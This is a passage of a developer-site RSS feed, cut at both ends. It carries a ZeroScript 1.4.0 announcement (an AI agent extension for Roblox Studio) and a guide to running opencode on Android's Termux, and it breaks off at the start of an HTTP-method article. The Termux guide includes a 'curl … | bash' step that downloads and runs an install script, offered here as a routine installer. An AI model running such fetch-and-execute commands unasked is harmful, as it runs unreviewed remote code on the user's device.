            </description><link>https://dev.to/dev_encyclopedia/why-your-typescript-7-upgrade-broke-eslint-ts-jest-and-ts-morph-385k</link><guid isPermaLink="false">https://dev.to/dev_encyclopedia/why-your-typescript-7-upgrade-broke-eslint-ts-jest-and-ts-morph-385k</guid><pubDate>Wed, 15 Jul 2026 03:55:26 GMT</pubDate><author>Dev Encyclopedia</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7oxfk8ztkrges7e1y5xx.png" type="image/jpeg"></enclosure><category>programming</category><category>javascript</category><category>typescript</category><category>webdev</category></item><item><title>ZeroScript 1.4.0: Free AI Agent for Roblox Studio Now Connects to Other MCP Servers (Blender, Ske...</title><description>&lt;p&gt;If you build games in Roblox Studio and wish you could just &lt;em&gt;talk&lt;/em&gt; to an AI and have it write Luau, edit scripts, and build your game world for you, you might not know that a free option already exists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ZeroScript&lt;/strong&gt; is a free, open-source browser extension that turns DeepSeek, Gemini, Kimi, GLM, Qwen, or Arena into a full AI agent for Roblox Studio. No API key. No terminal. No coding required to set up. You open a normal AI chat in your browser, and it can read/edit your scripts, run Luau code, generate assets, and control play-testing, directly in Studio.&lt;/p&gt;

&lt;p&gt;It&#39;s positioned as a free alternative to paid tools like Lemonade.gg or Luamotion, since it works with AI providers that are free to use.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;how-it-works&quot; href=&quot;https://dev.to/sebattfg/zeroscript-140-free-ai-agent-for-roblox-studio-now-connects-to-other-mcp-servers-blender-4i32#how-it-works&quot;&gt;
  &lt;/a&gt;
  How it works
&lt;/h2&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;AI chat (in your browser) -&amp;gt; ZeroScript Extension -&amp;gt; Bridge (your PC) -&amp;gt; Roblox Studio
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The extension lives inside the chat page itself. When you type a request, it relays commands to a small local Bridge app running on your PC, which talks to Roblox Studio through Studio&#39;s built-in MCP server.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;whats-new-in-140&quot; href=&quot;https://dev.to/sebattfg/zeroscript-140-free-ai-agent-for-roblox-studio-now-connects-to-other-mcp-servers-blender-4i32#whats-new-in-140&quot;&gt;
  &lt;/a&gt;
  What&#39;s new in 1.4.0
&lt;/h2&gt;

&lt;p&gt;The headline feature this update: &lt;strong&gt;ZeroScript can now connect to other MCP servers alongside Roblox Studio.&lt;/strong&gt; This is still experimental, but it&#39;s a meaningful shift, since ZeroScript stops being just a Roblox tool and starts being a general-purpose orchestrator.&lt;/p&gt;

&lt;p&gt;Concretely, from the panel&#39;s menu, you can now add an addon MCP server (Blender, Sketchfab, or any local MCP command). Roblox Studio stays the always-on primary connection, and the AI only reaches for an addon when the task actually needs it. If Roblox Studio goes down but an addon server is still alive, the agent can start in a degraded mode instead of refusing to run entirely.&lt;/p&gt;

&lt;p&gt;Practically, this opens the door to workflows like modeling in Blender and importing straight into your Roblox place, all from the same AI chat session.&lt;/p&gt;

&lt;p&gt;Other improvements in this release:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Better vision support across providers.&lt;/strong&gt; Arena, Gemini, GLM, Kimi, and Qwen can now reliably see screen captures or images returned by tools, with a fixed upload flow that no longer silently drops attachments.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Smarter command recovery.&lt;/strong&gt; If a command gets cut off by the model&#39;s own output limit (only missing its closing brackets), ZeroScript now auto-completes and runs it instead of forcing a full retry. Error feedback is also more specific: cut off, bad JSON, missing marker, or wrong format, so the AI can self-correct faster.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;More accurate tool status chips&lt;/strong&gt;, including a fix for a DeepSeek-specific bug where a command&#39;s chip showed as finished while the AI was still writing it.
## Supported AI providers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;ZeroScript currently works with six free AI chat interfaces:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;DeepSeek&lt;/strong&gt; (chat.deepseek.com) - the most stable, recommended as your default&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google Gemini&lt;/strong&gt; (gemini.google.com)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kimi&lt;/strong&gt; (kimi.com, Moonshot AI)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GLM&lt;/strong&gt; (chat.z.ai, Z.ai)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Qwen&lt;/strong&gt; (chat.qwen.ai, Alibaba Cloud)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Arena&lt;/strong&gt; (arena.ai) - a multi-model playground, use Direct mode only
Gemini and Kimi can occasionally be less consistent about sticking to Roblox tool calls in long sessions, that&#39;s model behavior rather than an extension bug, and usually a quick nudge or a fresh session fixes it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-the-ai-can-actually-do-in-studio&quot; href=&quot;https://dev.to/sebattfg/zeroscript-140-free-ai-agent-for-roblox-studio-now-connects-to-other-mcp-servers-blender-4i32#what-the-ai-can-actually-do-in-studio&quot;&gt;
  &lt;/a&gt;
  What the AI can actually do in Studio
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Read and edit scripts&lt;/li&gt;
&lt;li&gt;Run Luau code directly&lt;/li&gt;
&lt;li&gt;Inspect the game tree and instances&lt;/li&gt;
&lt;li&gt;Generate meshes, materials, and models&lt;/li&gt;
&lt;li&gt;Browse and insert from the Creator Store&lt;/li&gt;
&lt;li&gt;Control play-testing&lt;/li&gt;
&lt;li&gt;Remember your project across sessions, thanks to persistent project memory saved inside your place&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  &lt;a name=&quot;getting-started&quot; href=&quot;https://dev.to/sebattfg/zeroscript-140-free-ai-agent-for-roblox-studio-now-connects-to-other-mcp-servers-blender-4i32#getting-started&quot;&gt;
  &lt;/a&gt;
  Getting started
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Grab the latest zip from the &lt;a href=&quot;https://github.com/sebattfg/ZeroScript-Free&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Releases page&lt;/a&gt; and load the extension as unpacked in Edge or Chrome (Developer mode).&lt;/li&gt;
&lt;li&gt;Open Roblox Studio, load a place, enable the MCP server once from the Assistant AI panel.&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;start.bat&lt;/code&gt; to launch the local Bridge.&lt;/li&gt;
&lt;li&gt;Open DeepSeek (or any supported provider) in your browser, click Start session, and start building.
There&#39;s a full &lt;a href=&quot;https://youtu.be/kPKiZLZ9_Ps&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;video walkthrough on YouTube&lt;/a&gt; if you&#39;d rather watch than read.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  &lt;a name=&quot;links&quot; href=&quot;https://dev.to/sebattfg/zeroscript-140-free-ai-agent-for-roblox-studio-now-connects-to-other-mcp-servers-blender-4i32#links&quot;&gt;
  &lt;/a&gt;
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;🌐 Website: &lt;a href=&quot;https://zerodev.tools/zeroscript&quot;&gt;zerodev.tools/zeroscript&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;💻 GitHub: &lt;a href=&quot;https://github.com/sebattfg/ZeroScript-Free&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;github.com/sebattfg/ZeroScript-Free&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;💬 Discord: &lt;a href=&quot;https://discord.gg/9aNyZsMWcb&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;discord.gg/9aNyZsMWcb&lt;/a&gt;
ZeroScript is completely free and open-source (GPL-3.0). If it saves you time, a &lt;a href=&quot;https://ko-fi.com/sebattfg&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Ko-fi tip&lt;/a&gt; is appreciated but never required.&lt;/li&gt;
&lt;/ul&gt;


            </description><link>https://dev.to/sebattfg/zeroscript-140-free-ai-agent-for-roblox-studio-now-connects-to-other-mcp-servers-blender-4i32</link><guid isPermaLink="false">https://dev.to/sebattfg/zeroscript-140-free-ai-agent-for-roblox-studio-now-connects-to-other-mcp-servers-blender-4i32</guid><pubDate>Thu, 09 Jul 2026 10:41:53 GMT</pubDate><author>sebattfg</author><category>roblox</category><category>ai</category><category>gamedev</category><category>mcp</category></item><item><title>Now you can run opencode on termux :)</title><description>&lt;h2&gt;
  &lt;a name=&quot;how-to-run-open-code-on-termux-for-free-the-definitive-guide&quot; href=&quot;https://dev.to/voyeg3r/now-you-can-run-opencode-on-termux--4566#how-to-run-open-code-on-termux-for-free-the-definitive-guide&quot;&gt;
  &lt;/a&gt;
  How to Run Open Code on Termux for Free: The Definitive Guide
&lt;/h2&gt;

&lt;p&gt;AI agents are transforming how we write code, but running them on a mobile device has always been a challenge. In a recent guide by tech creator DevCoreX, a seamless and entirely free method to run the updated version of Open Code directly inside Termux on Android was revealed.&lt;/p&gt;

&lt;p&gt;Here is a comprehensive breakdown of how the setup works, how to install it, and how to start leveraging free AI models like MiniMax M2.5 and Big Pickle on your phone.&lt;/p&gt;


&lt;hr&gt;

&lt;h3&gt;
  &lt;a name=&quot;the-architecture-how-it-works-without-root&quot; href=&quot;https://dev.to/voyeg3r/now-you-can-run-opencode-on-termux--4566#the-architecture-how-it-works-without-root&quot;&gt;
  &lt;/a&gt;
  The Architecture: How It Works Without Root
&lt;/h3&gt;

&lt;p&gt;Running complex desktop-grade AI software on Android usually requires a rooted device. However, this implementation utilizes a clever workaround: UDocker.&lt;/p&gt;

&lt;p&gt;Because standard Docker cannot run on Termux without root access (and even then faces heavy limitations), this setup uses UDocker. UDocker allows you to pull and execute Docker containers inside an isolated Linux environment (like Ubuntu) completely root-free.&lt;/p&gt;

&lt;p&gt;To keep your workflow native, the setup implements a shared volume (shared directory). When you run Open Code inside a folder in Termux, it maps directly to home/opencode/workspace inside the container. This means any file the AI generates or modifies happens instantly in your local Termux directory—no manual file transferring required.&lt;/p&gt;


&lt;hr&gt;

&lt;h3&gt;
  &lt;a name=&quot;stepbystep-installation-guide&quot; href=&quot;https://dev.to/voyeg3r/now-you-can-run-opencode-on-termux--4566#stepbystep-installation-guide&quot;&gt;
  &lt;/a&gt;
  Step-by-Step Installation Guide
&lt;/h3&gt;

&lt;p&gt;The easiest way to install and manage Open Code is through &lt;a href=&quot;https://github.com/DevCoreXOfficial/core-termux&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Cortermux&lt;/a&gt;, an open-source utility repository developed by the DevCoreX community.&lt;/p&gt;

&lt;h4&gt;
  &lt;a name=&quot;step-1-install-or-update-cortermux&quot; href=&quot;https://dev.to/voyeg3r/now-you-can-run-opencode-on-termux--4566#step-1-install-or-update-cortermux&quot;&gt;
  &lt;/a&gt;
  Step 1: Install or Update Cortermux
&lt;/h4&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-fsSL&lt;/span&gt; https://raw.githubusercontent.com/DevCoreXOfficial/core-termux/main/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Open your Termux terminal and run the main Cortermux installation script (provided in the project&#39;s official repository). Once installed, check your version by running:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;core
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Make sure you are running version 3.7.1 or higher. If you need to update an older installation, execute:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;core update core
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h4&gt;
  &lt;a name=&quot;step-2-install-open-code-individually&quot; href=&quot;https://dev.to/voyeg3r/now-you-can-run-opencode-on-termux--4566#step-2-install-open-code-individually&quot;&gt;
  &lt;/a&gt;
  Step 2: Install Open Code Individually
&lt;/h4&gt;

&lt;p&gt;Cortermux features an AI module containing multiple tools. To save storage space and avoid downloading tools you do not need, target Open Code specifically using this flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;core &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;ai &lt;span class=&quot;nt&quot;&gt;--opencode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;NOTE: In my case I chose the libc method and it worked perfectly&lt;/p&gt;

&lt;h4&gt;
  &lt;a name=&quot;step-3-launch-and-initialize&quot; href=&quot;https://dev.to/voyeg3r/now-you-can-run-opencode-on-termux--4566#step-3-launch-and-initialize&quot;&gt;
  &lt;/a&gt;
  Step 3: Launch and Initialize
&lt;/h4&gt;

&lt;p&gt;Create a dedicated working directory and navigate into it:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;devcorex &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;devcorex
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Now, start the agent by running:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;opencode
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Note: If you choose the container instalation method the very first time you execute this command, it will automatically download the required UDocker Linux container. This initial download takes a few moments, but all subsequent launches will open almost instantly.&lt;/em&gt;&lt;/p&gt;


&lt;hr&gt;

&lt;h3&gt;
  &lt;a name=&quot;working-with-free-models-and-features&quot; href=&quot;https://dev.to/voyeg3r/now-you-can-run-opencode-on-termux--4566#working-with-free-models-and-features&quot;&gt;
  &lt;/a&gt;
  Working with Free Models and Features
&lt;/h3&gt;

&lt;p&gt;Once Open Code is running, you can interact with it like a standard terminal-based AI assistant.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;View Available Models: Type &lt;code&gt;/models&lt;/code&gt; within the environment. By default, you get access to three capable free models: MiniMax M2.5, Big Pickle, and Nemotron 3 Superfree.&lt;/li&gt;
&lt;li&gt;Custom Providers: If you exhaust the free limits, Open Code is highly flexible. You can easily plug in API keys from premium providers like OpenAI, Anthropic, Google, or GitHub.&lt;/li&gt;
&lt;li&gt;Persistent Sessions: The agent automatically tracks your chat history and project context. If you type &lt;code&gt;/exit&lt;/code&gt; and return later, it remembers exactly what you were working on.&lt;/li&gt;
&lt;li&gt;Skills Integration: By using the &lt;code&gt;/skills&lt;/code&gt; command, you can inspect or run automated modular tasks to extend the agent&#39;s core capabilities.&lt;/li&gt;
&lt;/ul&gt;


&lt;hr&gt;

&lt;h3&gt;
  &lt;a name=&quot;credits-amp-featured-links&quot; href=&quot;https://dev.to/voyeg3r/now-you-can-run-opencode-on-termux--4566#credits-amp-featured-links&quot;&gt;
  &lt;/a&gt;
  Credits &amp;amp; Featured Links
&lt;/h3&gt;

&lt;p&gt;Main reference: &lt;a href=&quot;https://youtu.be/r3QwU_h8TmY&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Video Author&lt;/a&gt; -&amp;gt; DevCoreX&lt;/p&gt;

&lt;p&gt;Special Thanks: This Termux adaptation was made possible thanks to community developer Iván 3 (Iván 3 by Cinderela), who successfully adapted the environment and maintains it within his custom laboratories.&lt;/p&gt;

&lt;p&gt;Project Resources:&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;Ialaf GitHub Repository: Maintained by Iván 3, hosting the manual deployment files and alternative Termux packages. (Search &quot;Ialaf GitHub&quot; to access the repository releases).

Cortermux Project: The official open-source tool manager used in this tutorial, accessible via the DevCoreX community channels.
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Author&#39;s Channel (DevCoreX): &lt;a href=&quot;https://youtu.be/r3QwU_h8TmY&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://youtu.be/r3QwU_h8TmY&lt;/a&gt; (Original video link provided)&lt;/p&gt;

&lt;p&gt;Cortermux Project Repository: &lt;a href=&quot;https://github.com/DevCoreXOfficial/core-termux&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://github.com/DevCoreXOfficial/core-termux&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ialaf Laboratory (Iván 3): &lt;a href=&quot;https://github.com/ivan3bycinderela/Ialaf&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://github.com/ivan3bycinderela/Ialaf&lt;/a&gt; or &lt;a href=&quot;https://github.com/ivan3-by-cinderela/Ialaf&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://github.com/ivan3-by-cinderela/Ialaf&lt;/a&gt; (Depending on the GitHub username variation for developer Iván 3).&lt;/p&gt;

&lt;p&gt;Base Tool (UDocker): &lt;a href=&quot;https://github.com/indigo-dc/udocker&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://github.com/indigo-dc/udocker&lt;/a&gt; (The mentioned tool used to run containers without root).&lt;/p&gt;


            </description><link>https://dev.to/voyeg3r/now-you-can-run-opencode-on-termux--4566</link><guid isPermaLink="false">https://dev.to/voyeg3r/now-you-can-run-opencode-on-termux--4566</guid><pubDate>Fri, 03 Jul 2026 19:48:54 GMT</pubDate><author>Sérgio Araújo</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk68ukda70cg7re0upipo.jpg" type="image/jpeg"></enclosure><category>ai</category><category>termux</category><category>programming</category><category>opencode</category></item><item><title>HTTP Just Got Its First New Method in 20 Years. Here&#39;s Why You Should Care.</title><description>&lt;p&gt;If you have ever written this, this article is for you:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// a &quot;search&quot; that is actually a POST&lt;/span&gt;
